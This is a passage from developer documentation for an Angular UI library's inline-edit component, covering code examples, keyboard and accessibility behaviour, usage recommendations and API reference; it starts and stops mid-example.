                    <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.country" />
                </kbq-form-field>
            </kbq-inline-edit>

            <kbq-inline-edit>
                <kbq-label>Capital</kbq-label>

                <div class="example-inline-text" kbqInlineEditViewMode>
                    <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.capital.value }" />
                </div>
                <kbq-form-field kbqInlineEditEditMode>
                    <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.capital" />
                </kbq-form-field>
            </kbq-inline-edit>

            <kbq-inline-edit>
                <kbq-label>Currency</kbq-label>

                <div class="example-inline-text" kbqInlineEditViewMode>
                    <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.currency.value }" />
                </div>
                <kbq-form-field kbqInlineEditEditMode>
                    <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.currency" />
                </kbq-form-field>
            </kbq-inline-edit>
        </form>

        <ng-template #view let-value>
            @if (!value) {
                <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
            } @else {
                <span>{{ value }}</span>
            }
        </ng-template>
    `,
    styles: `
        :host {
            position: relative;
            display: block;
        }

        :host:hover .example__hover-divider {
            border-color: var(--kbq-line-error);
            opacity: var(--kbq-opacity-disabled);
        }

        .example__hover-divider {
            position: absolute;
            top: 0;
            border-right: 1px solid transparent;
            height: 100%;
        }

        form {
            width: calc(100% + 16px);
            margin-left: -8px;
        }

        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-column'
    }
})
export class InlineEditContentAlignmentExample {
    protected readonly placeholder = 'Placeholder';

    protected readonly form = new FormGroup({
        country: new FormControl('Spain'),
        capital: new FormControl('Madrid'),
        currency: new FormControl('Euro')
    });
}
```

##### Custom design

**Example: Inline edit customized design** (`inline-edit-customized-design`)

```ts inline-edit-customized-design-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqOptionModule, PopUpPlacements } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqLink } from '@koobiq/components/link';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqTagEvent, KbqTagsModule } from '@koobiq/components/tags';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'inline-edit-customized-design-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqInputModule,
        KbqToolTipModule,
        KbqOptionModule,
        KbqSelectModule,
        KbqIconModule,
        KbqLink,
        KbqTagsModule
    ],
    template: `
        <kbq-inline-edit>
            <kbq-label>Link</kbq-label>

            <div class="example-inline-text example-inline-text_link" kbqInlineEditViewMode>
                @if (!linkControl.value) {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                } @else {
                    <a kbqLink target="_blank" [href]="linkControl.value">{{ linkControl.value }}</a>
                }
            </div>
            <kbq-form-field kbqInlineEditEditMode>
                <input kbqInput [placeholder]="placeholder" [formControl]="linkControl" />
            </kbq-form-field>
        </kbq-inline-edit>

        <kbq-inline-edit>
            <kbq-label class="example-inline-text__content">
                Tags
                <i
                    kbq-icon-button="kbq-circle-info_16"
                    [kbqTooltip]="'Tooltip on hover or focus'"
                    [kbqTooltipArrow]="false"
                    [kbqPlacement]="popupPlacements.Top"
                    [color]="'contrast-fade'"
                ></i>
            </kbq-label>

            <div kbqInlineEditViewMode>
                @if (!badgeControl.value.length) {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                } @else {
                    <kbq-tag-list removable>
                        @for (option of options(); track option) {
                            <kbq-tag
                                [value]="option"
                                [class.kbq-selected]="badgeControl.value.includes(option)"
                                (removed)="removed($event)"
                            >
                                {{ option }}
                                <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove></i>
                            </kbq-tag>
                        }
                    </kbq-tag-list>
                }
            </div>
            <kbq-form-field kbqInlineEditEditMode>
                <kbq-select multiple [placeholder]="placeholder" [formControl]="badgeControl">
                    @for (option of options(); track option) {
                        <kbq-option [value]="option">{{ option }}</kbq-option>
                    }
                </kbq-select>
            </kbq-form-field>
        </kbq-inline-edit>

        <kbq-inline-edit>
            <kbq-label>Icon + Text</kbq-label>

            <div class="example-inline-text" kbqInlineEditViewMode>
                @if (!iconControl.value) {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                } @else {
                    <span class="example-inline-text__content">
                        <i kbq-icon="kbq-diamond_16" [color]="'contrast-fade'"></i>
                        {{ iconControl.value }}
                    </span>
                }
            </div>
            <kbq-form-field kbqInlineEditEditMode>
                <input kbqInput [placeholder]="placeholder" [formControl]="iconControl" />
            </kbq-form-field>
        </kbq-inline-edit>
    `,
    styles: `
        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }

        .example-inline-text_link {
            padding: 1px;
        }

        .example-inline-text__content {
            display: inline-flex;
            align-items: center;
            gap: var(--kbq-size-xs);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-column'
    }
})
export class InlineEditCustomizedDesignExample {
    protected readonly placeholder = 'Placeholder';
    protected readonly options = signal(['Critical', 'High', 'Medium', 'Low']);

    protected readonly linkControl = new FormControl('https://github.com/koobiq/icons');
    protected readonly badgeControl = new FormControl([this.options()[0]], { nonNullable: true });
    protected readonly iconControl = new FormControl('Value');
    protected readonly popupPlacements = PopUpPlacements;

    protected removed(event: KbqTagEvent): void {
        this.options.update((tags) => {
            const index = tags.indexOf(event.tag.value);

            tags.splice(index, 1);

            console.log(`Tag #${index} was removed:`, event);

            if (event.tag.value === this.badgeControl.value) {
                if (!tags.length) {
                    this.badgeControl.setValue([]);
                } else {
                    this.badgeControl.setValue([tags[index]]);
                }
            }

            return tags;
        });
    }
}
```

##### Select-style editor

On selection, open only the dropdown menu — don't show a bordered input field like Select's. The field doesn't need a border of its own, the dropdown alone is enough.

**Example: Inline edit select basic** (`inline-edit-select-basic`)

```ts inline-edit-select-basic-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqOptionModule } from '@koobiq/components/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqFormFieldModule, KbqLabel } from '@koobiq/components/form-field';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqSelectModule } from '@koobiq/components/select';

const STATUSES: string[] = ['Open', 'In progress', 'Resolved', 'Closed'];
const PRIORITIES: string[] = ['Low', 'Medium', 'High', 'Critical'];

@Component({
    selector: 'inline-edit-select-basic-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqFormFieldModule,
        KbqLabel,
        KbqOptionModule,
        KbqSelectModule,
        KbqDl,
        KbqDt,
        KbqDd
    ],
    template: `
        <div class="example__section">
            <kbq-inline-edit #statusInlineEdit="kbqInlineEdit">
                <kbq-label>Status</kbq-label>

                <div kbqInlineEditViewMode>
                    @if (status.value) {
                        {{ status.value }}
                    } @else {
                        <span kbqInlineEditPlaceholder>{{ notSetLabel }}</span>
                    }
                </div>

                <kbq-form-field kbqInlineEditEditMode [noBorders]="true">
                    <kbq-select
                        panelWidth="auto"
                        [placeholder]="notSetLabel"
                        [formControl]="status"
                        (selectionChange)="statusInlineEdit.commit()"
                    >
                        @for (item of statuses; track item) {
                            <kbq-option [value]="item">{{ item }}</kbq-option>
                        }
                    </kbq-select>
                </kbq-form-field>
            </kbq-inline-edit>
        </div>

        <kbq-dl class="example__section" [vertical]="false">
            <kbq-dt>Priority</kbq-dt>
            <kbq-dd>
                <kbq-inline-edit #priorityInlineEdit="kbqInlineEdit">
                    <div kbqInlineEditViewMode>
                        @if (priority.value) {
                            {{ priority.value }}
                        } @else {
                            <span kbqInlineEditPlaceholder>{{ notSetLabel }}</span>
                        }
                    </div>

                    <kbq-form-field kbqInlineEditEditMode [noBorders]="true">
                        <kbq-select
                            panelWidth="auto"
                            [placeholder]="notSetLabel"
                            [formControl]="priority"
                            (selectionChange)="priorityInlineEdit.commit()"
                        >
                            @for (item of priorities; track item) {
                                <kbq-option [value]="item">{{ item }}</kbq-option>
                            }
                        </kbq-select>
                    </kbq-form-field>
                </kbq-inline-edit>
            </kbq-dd>
        </kbq-dl>
    `,
    styles: `
        .example__section {
            width: 200px;
        }

        .kbq-dt {
            display: inline-flex;
            align-items: center;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center layout-gap-l'
    }
})
export class InlineEditSelectBasicExample {
    protected readonly notSetLabel = 'Not specified';

    protected readonly statuses = STATUSES;
    protected readonly priorities = PRIORITIES;

    protected readonly status = new FormControl<string | null>(STATUSES[0]);
    protected readonly priority = new FormControl<string | null>(PRIORITIES[0]);
}
```

After picking an option, the field returns to view mode.

##### Multiline field

Sometimes it's worth making the dropdown options multiline. It's recommended to match the dropdown's width to the field's width.

**Example: Inline edit select multiline** (`inline-edit-select-multiline`)

```ts inline-edit-select-multiline-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqOptionModule } from '@koobiq/components/core';
import { KbqFormFieldModule, KbqLabel } from '@koobiq/components/form-field';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqSelectModule } from '@koobiq/components/select';

const COMMENTS: string[] = [
    'Issue resolved after restarting the affected service. No further action required.',
    'Root cause identified as a misconfigured environment variable, fixed and redeployed.',
    'Duplicate of an existing issue, closing without further changes.',
    'Waiting on additional information from the reporter before further diagnosis.'
];

@Component({
    selector: 'inline-edit-select-multiline-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqFormFieldModule,
        KbqLabel,
        KbqOptionModule,
        KbqSelectModule
    ],
    template: `
        <div style="width: 280px">
            <kbq-inline-edit #inlineEdit="kbqInlineEdit">
                <kbq-label>Resolution comment</kbq-label>

                <div kbqInlineEditViewMode>
                    @if (control.value) {
                        {{ control.value }}
                    } @else {
                        <span kbqInlineEditPlaceholder>{{ notSetLabel }}</span>
                    }
                </div>

                <kbq-form-field kbqInlineEditEditMode [noBorders]="true">
                    <kbq-select
                        panelWidth="auto"
                        [panelClass]="'example-inline-select-multiline__options'"
                        [placeholder]="notSetLabel"
                        [formControl]="control"
                        (selectionChange)="inlineEdit.commit()"
                    >
                        <kbq-option class="example-inline-select-multiline__empty-option" [value]="null">
                            {{ notSetLabel }}
                        </kbq-option>
                        @for (comment of comments; track comment) {
                            <kbq-option [value]="comment">{{ comment }}</kbq-option>
                        }
                    </kbq-select>
                </kbq-form-field>
            </kbq-inline-edit>
        </div>
    `,
    styles: `
        ::ng-deep .example-inline-select-multiline__options .kbq-option-text {
            white-space: normal;
            overflow-wrap: break-word;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center'
    }
})
export class InlineEditSelectMultilineExample {
    protected readonly notSetLabel = 'Not specified';

    protected readonly comments = COMMENTS;

    protected readonly control = new FormControl<string | null>(COMMENTS[0]);
}
```

##### Reset

Place the clear element inside the dropdown menu — since the select field itself isn't visible, there's no other suitable place for a reset button.

Also recommended: add an option whose label makes it clear that no value is set. This echoes the wording used for the empty field in view mode.

**Example: Inline edit select** (`inline-edit-select`)

```ts inline-edit-select-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqOptionModule } from '@koobiq/components/core';
import { KbqFormFieldModule, KbqLabel } from '@koobiq/components/form-field';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqUserInfo, KbqUsername } from '@koobiq/components/username';

const USERS: KbqUserInfo[] = [
    {
        firstName: 'Ivan',
        lastName: 'Petrov',
        login: 'ipetrov',
        site: 'Engineering'
    },
    { firstName: 'Maria', lastName: 'Sidorova', login: 'msidorova', site: 'Customer support' },
    { firstName: 'Alexey', lastName: 'Smirnov', login: 'asmirnov', site: 'Information security' },
    { firstName: 'Olga', lastName: 'Kuznetsova', login: 'okuznetsova', site: 'Marketing' }
];

@Component({
    selector: 'inline-edit-select-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqFormFieldModule,
        KbqLabel,
        KbqOptionModule,
        KbqSelectModule,
        KbqUsername
    ],
    template: `
        <div style="width: 250px">
            <kbq-inline-edit #inlineEdit="kbqInlineEdit">
                <kbq-label>Assignee</kbq-label>

                <div kbqInlineEditViewMode class="example-inline-select__view">
                    @if (control.value) {
                        <kbq-username isCompact [userInfo]="control.value" />
                    } @else {
                        <span kbqInlineEditPlaceholder>{{ notSetLabel }}</span>
                    }
                </div>
                <kbq-form-field kbqInlineEditEditMode [noBorders]="true">
                    <kbq-select
                        panelWidth="auto"
                        [panelClass]="'example-inline-select__options'"
                        [placeholder]="notSetLabel"
                        [formControl]="control"
                        (selectionChange)="inlineEdit.commit()"
                    >
                        <kbq-option class="example-inline-select__empty-option" [value]="null">
                            {{ notSetLabel }}
                        </kbq-option>
                        @for (user of users; track user) {
                            <kbq-option [value]="user">
                                <kbq-username isCompact [userInfo]="user" />
                            </kbq-option>
                        }
                    </kbq-select>
                </kbq-form-field>
            </kbq-inline-edit>
        </div>
    `,
    styles: `
        .example-inline-select__view {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center'
    }
})
export class InlineEditSelectExample {
    protected readonly notSetLabel = 'Not specified';

    protected readonly users = USERS;

    protected readonly control = new FormControl<KbqUserInfo | null>(this.users[0]);
}
```

After picking an option, the field returns to view mode.

#### Keyboard

The field is a single tab stop.

| Key                | Mode                      | What it does                                                          |
| ------------------ | ------------------------- | --------------------------------------------------------------------- |
| Enter / Space      | View                      | Open the editor                                                       |
| Enter              | Edit                      | Saves the value and returns the field to view mode, except on buttons |
| Esc                | Edit                      | Closes the editor and reverts the value                               |
| Tab                | Edit                      | Off the first or last control, saves the value and leaves the field   |
| Enter              | Edit, inside a `textarea` | Inserts a line break                                                  |
| Ctrl / Cmd + Enter | Edit, inside a `textarea` | Saves the value; the `canSaveOnEnter` input replaces this rule        |

A click outside saves the value and closes the editor the same way `Tab` does. Leaving edit mode returns focus to the field — except on `Tab`, which hands it to the tab stop next to the field, in the direction of travel. When that tab stop belongs to another inline edit, its editor opens, so a column of fields can be filled in one pass; when there is none, the field takes focus back.

A control with an `Enter` action of its own — a button, or anything with `role="button"` — runs that action instead of saving, so one keypress does not do both. A field whose `saveHandler` request is still in flight keeps its tab stop and its focus ring: unlike a disabled one it stays reachable, it just will not reopen yet.

Content that handles clicks itself — a link, a tag — keeps its own behaviour instead of opening the editor. `interactiveSelectors` is the list that decides, `['a', 'kbq-tag']` by default; it replaces the list rather than extending it, so repeat the defaults you still want. Once the view holds such content, the field's own tab stop moves to a visually hidden control beside it, so both the content and the editor stay reachable.

#### Accessibility

The view mode is announced as a `button` carrying `aria-expanded`, so assistive technology reports both that the value is editable and whether the editor is open. Its name defaults to the localized "Edit"; give the field a specific one with `aria-label` wherever the projected value alone does not say what is being edited:

```html
<kbq-inline-edit aria-label="Assignee">…</kbq-inline-edit>
```

A disabled field reports `aria-disabled` and stays out of the tab order. The icon-only save and cancel buttons of `showActions` take their names from the `a11y` locale section, alongside the `edit` name above.

A background save is not conveyed by color alone: the field announces it from a visually hidden `role="status"` region, wording it with the `saving` and `saveFailed` keys of the same locale section.

An element carrying `kbqInlineEditMenu` is stamped `role="button"` and is not named by the library, so give it an `aria-label` of its own.

#### Recommendations

Inline edits should be saved immediately after a change—without requiring a global **Save** button.

**Avoid using inline editing when:**

- Inside traditional forms.
- Creating new entities (use a form instead).
- Fields require complex validation (e.g., password, email, uniqueness checks, input masks, or guided hints).
- Fields are dependent on each other (use a form when one change affects others).
- Editing critical or sensitive data.
- Saving requires additional confirmation (e.g., “Are you sure?” dialogs).

**Alternatives to inline editing:**

- A modal or popover with a form — for complex or multi-line data.
- A dedicated edit page — when more control over input is required.
- An inline form — when the field should expand into a larger editor.

### API

#### Components

##### KbqInlineEdit (component)

Customizable component that enables edit-in-place logic for specified control and it's view.
This component is projecting edit/view mode templates and adds keyboard/pointer handlers.
Edit mode opens in a positioned overlay that matches the view mode width or can be customized.

```ts
@Component({ selector: 'kbq-inline-edit', exportAs: 'kbqInlineEdit' })
class KbqInlineEdit implements KbqConnectedOverlayOriginProvider, KbqInlineEditSaveRecovery {
    readonly showActions = input<boolean>(false);
    readonly showTooltipOnError = input<boolean>(true);
    readonly validationTooltip = input<string | TemplateRef<unknown>>();
    readonly disabled = input<boolean>(false);
    readonly editModeWidth = input<number | undefined>();
    readonly tooltipPlacement = input<PopUpPlacements>();
    readonly overlayPanelClass = input<string | string[]>('');
    readonly getValueHandler = input<() => unknown>();
    readonly setValueHandler = input<(value: unknown) => void>();
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
    readonly compareWith = input<((a: any, b: any) => boolean) | null>(
        (a, b) => a === b
    );
    readonly saveHandler = input<KbqInlineEditSaveHandler>();
    readonly saveErrorHandler = input<KbqInlineEditSaveErrorHandler | null>(
        inject(KBQ_INLINE_EDIT_SAVE_ERROR_HANDLER, { optional: true })
    );
    readonly canSaveOnEnter = input<(event: KeyboardEvent) => boolean>(
        (event: KeyboardEvent): boolean => {
            // A control that runs its own action on Enter would otherwise fire it and save at the same time.
            if (isElement(event.target) && event.target.closest(ENTER_ACTIVATED_SELECTORS)) return false;

            return hasModifierKey(event, 'ctrlKey', 'metaKey') || !(event.target instanceof HTMLTextAreaElement);
        }
    );
    readonly interactiveSelectors = input<string[]>(['a', 'kbq-tag']);
    readonly mode = model<KbqInlineEditMode>('view');
    readonly saved = output<void>();
    readonly canceled = output<void>();
    readonly saveError = output<KbqInlineEditSaveErrorContext>();
    readonly saveStatus: Signal<KbqInlineEditSaveStatus>;
    toggleMode(): void;
    commit(): void;
    retrySave(): void;
    rollback(): void;
}
```

- `[showActions]`: `boolean` — Whether to show save/cancel action buttons in edit mode. Defaults to `false`.
- `[showTooltipOnError]`: `boolean` — Whether to automatically show validation error tooltips on save attempts.
  Has no effect unless `validationTooltip` is set. Defaults to `true`.
- `[validationTooltip]`: `string | TemplateRef<unknown>` — Custom validation tooltip message.
- `[disabled]`: `boolean` — Disables the component, preventing interaction and mode switching. Only allows menu dropdown.
  Defaults to `false`.
- `[editModeWidth]`: `number | undefined` — Custom width in pixels for the edit mode overlay. Auto-calculated if not set.
- `[tooltipPlacement]`: `PopUpPlacements` — User-defined tooltip placement
- `[overlayPanelClass]`: `string | string[]` — Classes to be passed to the inline edit panel.
- `[getValueHandler]`: `() => unknown` — Handler function to retrieve the current value
- `[setValueHandler]`: `(value: unknown) => void` — Handler function to update the value
- `[aria-label]`: `string | null` — Accessible name of the control that opens the editor. Defaults to the localized "Edit"; set a
  field-specific name where the projected value alone doesn't say what is being edited.
- `[compareWith]`: `((a: any, b: any) => boolean) | null` — Whether the value still equals the one the editor opened with, in which case `saveHandler` is not called.
  The default suits text and numbers; bind your own for arrays and objects, or `null` to send every time.
  A failed save is always retried, however the values compare.
- `[saveHandler]`: `KbqInlineEditSaveHandler` — Saves a valid value in the background: edit mode closes right away and view mode reports how the request
  went. Without it, a valid value is saved immediately.
- `[saveErrorHandler]`: `KbqInlineEditSaveErrorHandler | null` — Reaction to a failed save for this inline edit alone. Defaults to `KBQ_INLINE_EDIT_SAVE_ERROR_HANDLER`;
  bind `null` to leave it without one.
- `[canSaveOnEnter]`: `(event: KeyboardEvent) => boolean` — Customizable function that checks if saving on enter available.
- `[interactiveSelectors]`: `string[]` — CSS selectors for elements in view mode that should handle clicks instead of opening edit mode.
  Override to replace or extend the default list.

  ```html
  <kbq-inline-edit [interactiveSelectors]="['a', 'kbq-tag', 'button']">
  ```
- `[(mode)]`: `KbqInlineEditMode` — Current mode. Two-way bindable: `[(mode)]` opens and closes the editor programmatically, and
  `(modeChange)` alone reports every transition.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `(saved)`: `void` — Emitted when the inline edit is saved successfully.
- `(canceled)`: `void` — Emitted when the inline edit is canceled and changes are discarded.
- `(saveError)`: `KbqInlineEditSaveErrorContext` — Emitted when a `saveHandler` request fails. Silent once the row is destroyed; `saveErrorHandler` is not.
- `saveStatus`: `Signal<KbqInlineEditSaveStatus>` — State of the background save started by `saveHandler`.
- `toggleMode()`: `void` — Manually switch mode. Does nothing while a `saveHandler` request is in flight.
- `commit()`: `void` — Saves the current value, running the same validation as a normal save.
- `retrySave()`: `void` — Repeats the request for a value the server rejected. Does nothing unless the last save failed.
- `rollback()`: `void` — Discards the value the server rejected, restoring the last saved one and closing the editor.

#### Directives

##### KbqInlineEditMenu (directive)

This directive enhances element acting as dropdown trigger,
visually indicating the active state with the `kbq-active` class.
Also, it prevents click/keydown events from being propagated to disable mode toggling of parent component.

```ts
@Directive({ selector: '[kbqInlineEditMenu]', exportAs: 'kbqInlineEditMenu' })
class KbqInlineEditMenu {}
```

##### KbqInlineEditPlaceholder (directive)

Directive for easy using styles of inline edit placeholder publicly.

```ts
@Directive({
    selector: '[kbqInlineEditPlaceholder]',
    exportAs: 'kbqInlineEditPlaceholder'
})
class KbqInlineEditPlaceholder {}
```

#### Types

##### KbqInlineEditMode (type)

```ts
type KbqInlineEditMode = 'view' | 'edit';
```

##### KbqInlineEditSaveErrorContext (interface)

Failed save, reported through `saveError` and `KBQ_INLINE_EDIT_SAVE_ERROR_HANDLER`.

```ts
interface KbqInlineEditSaveErrorContext<E = any> {
    readonly error: E;
    readonly inlineEdit: KbqInlineEditSaveRecovery;
}
```

- `error`: `E` — Parameterise the interface to type this.
- `inlineEdit`: `KbqInlineEditSaveRecovery` — Inline edit whose save failed.

##### KbqInlineEditSaveErrorHandler (type)

Reaction to a failed save, e.g. opening a toast.

```ts
type KbqInlineEditSaveErrorHandler = (context: KbqInlineEditSaveErrorContext) => void;
```

##### KbqInlineEditSaveHandler (type)

Saves the edited value, e.g. sends it to a server. Only the first emission counts, and the observable must emit
or complete: destroying the row does not cancel it, so one that never settles keeps the row in memory.

Called without a receiver, so bind an arrow function rather than a method that relies on `this`.

```ts
type KbqInlineEditSaveHandler = () => Observable<unknown>;
```

##### KbqInlineEditSaveRecovery (interface)

Recovery a failed-save notification can offer: retry, edit again, discard the unsaved value.

```ts
interface KbqInlineEditSaveRecovery {
    retrySave(): void;
    toggleMode(): void;
    rollback(): void;
}
```

##### KbqInlineEditSaveStatus (type)

State of the save request started by `saveHandler`. `progress` is `pending` past the indicator delay.

```ts
type KbqInlineEditSaveStatus = 'idle' | 'pending' | 'progress' | 'error';
```

#### Constants

##### KBQ_INLINE_EDIT_SAVE_ERROR_HANDLER (const)

Reports every failed save the same way across the application. Declare it in the root injector.

```ts
const KBQ_INLINE_EDIT_SAVE_ERROR_HANDLER: InjectionToken<KbqInlineEditSaveErrorHandler>;
```

##### kbqInlineEditSaveProgressDelay (const)

Delay before the save progress state appears, so a fast response causes no flicker.

```ts
const kbqInlineEditSaveProgressDelay: number;
```

##### kbqInlineEditSaveProgressMinimumDuration (const)

Minimum time the save progress state stays once it has appeared.

```ts
const kbqInlineEditSaveProgressMinimumDuration: number;
```

### Examples

#### Custom input field

By default, inline editing uses the input from `KbqFormField`.
If you need to use a different input type while retaining inline-edit functionality, apply the `getValueHandler` and `setValueHandler` properties.

**Example: Inline edit custom handler** (`inline-edit-custom-handler`)

```ts inline-edit-custom-handler-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqFileItem, KbqFileUploadModule } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'inline-edit-custom-handler-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqSelectModule,
        KbqBadgeModule,
        KbqIconModule,
        KbqFileUploadModule
    ],
    template: `
        <kbq-inline-edit
            showActions
            [getValueHandler]="getValueHandler"
            [setValueHandler]="setValueHandler"
            (saved)="update()"
        >
            <kbq-label>Label</kbq-label>

            <div class="layout-row layout-gap-xxs" style="flex-wrap: wrap;" kbqInlineEditViewMode>
                @let value = displayValue();
                @if (value && value.file) {
                    {{ value.file.name }}
                } @else {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                }
            </div>
            <div kbqInlineEditEditMode>
                <kbq-file-upload class="kbq-form__control flex-80" [formControl]="control">
                    <i kbq-icon="kbq-file-o_16"></i>
                </kbq-file-upload>
            </div>
        </kbq-inline-edit>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InlineEditCustomHandlerExample {
    protected readonly control = new FormControl<KbqFileItem | null>(null);
    protected readonly placeholder = 'Placeholder';
    protected readonly displayValue = signal(this.control.value);

    protected getValueHandler = () => this.control.value;
    // The component hands back whatever `getValueHandler` returned, so the cast is the host's own contract.
    protected setValueHandler = (value: unknown) => this.control.setValue(value as KbqFileItem | null);

    protected update(): void {
        this.displayValue.set(this.control.value);
    }
}
```

#### Clearing a field

A text field can be cleared by deleting its content and saving. In a select component, provide an explicit option such as _“Not specified”_. For other controls, consider adding a dedicated **Clear** button.

If the field cannot accept an empty value, substitute either a default value or a valid fallback.

**Example: Inline edit on clean** (`inline-edit-on-clean`)

```ts inline-edit-on-clean-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'inline-edit-on-clean-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqDl,
        KbqDt,
        KbqDd,
        KbqInputModule
    ],
    template: `
        <kbq-dl class="flex">
            <kbq-dt>Label</kbq-dt>
            <kbq-dd>
                <kbq-inline-edit (saved)="onSave()">
                    <div class="example-inline-text" kbqInlineEditViewMode>
                        @if (!control.control.value) {
                            <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                        } @else {
                            <span>{{ control.control.value }}</span>
                        }
                    </div>
                    <kbq-form-field kbqInlineEditEditMode>
                        <input kbqInput [placeholder]="placeholder" [formControl]="control.control" />
                    </kbq-form-field>
                </kbq-inline-edit>
            </kbq-dd>
        </kbq-dl>
    `,
    styles: `
        .kbq-dt {
            display: inline-flex;
            align-items: center;
        }

        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InlineEditOnCleanExample {
    protected readonly placeholder = 'Placeholder';
    protected readonly control = { label: 'Label', control: new FormControl('Default value', { nonNullable: true }) };

    protected onSave(): void {
        if (this.control.control.value) return;

        this.control.control.setValue(this.control.control.defaultValue);
    }
}
```

#### Disabled or read-only state

When inline editing is disabled or in read-only mode, the element is displayed as static text.
If action menus are available, they remain accessible even in this state.

**Example: Inline edit disabled** (`inline-edit-disabled`)

```ts inline-edit-disabled-example.ts
import { Clipboard } from '@angular/cdk/clipboard';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconButton } from '@koobiq/components/icon';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'inline-edit-disabled-example',
    imports: [
        FormsModule,
        KbqInlineEditModule,
        KbqInputModule,
        KbqIconButton,
        KbqButtonModule,
        KbqDropdownModule
    ],
    template: `
        <kbq-dropdown #dropdown="kbqDropdown">
            <button kbq-dropdown-item (click)="clipboard.copy(value)">Copy text</button>
        </kbq-dropdown>

        <kbq-inline-edit disabled>
            <i
                kbqInlineEditMenu
                kbq-icon-button="kbq-ellipsis-vertical_16"
                [kbqDropdownTriggerFor]="dropdown"
                [color]="'contrast-fade'"
            ></i>
            <div kbqInlineEditViewMode>
                @if (value) {
                    <span>{{ value }}</span>
                } @else {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                }
            </div>
            <kbq-form-field kbqInlineEditEditMode>
                <input kbqInput [placeholder]="placeholder" [(ngModel)]="value" />
            </kbq-form-field>
        </kbq-inline-edit>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InlineEditDisabledExample {
    protected readonly clipboard = inject(Clipboard);
    protected readonly placeholder = 'Placeholder';
    protected value =
        'Multi-factor authentication involves multiple identification forms before account access, reducing the risk of unauthorized access';
}
```

#### Date time input

**Example: Inline edit date time** (`inline-edit-date-time`)

```ts inline-edit-date-time-example.ts
import { ChangeDetectionStrategy, Component, inject, signal, viewChild, WritableSignal } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_DATE_LOCALE } from '@koobiq/components/core';
import { KbqDatepicker, KbqDatepickerModule } from '@koobiq/components/datepicker';
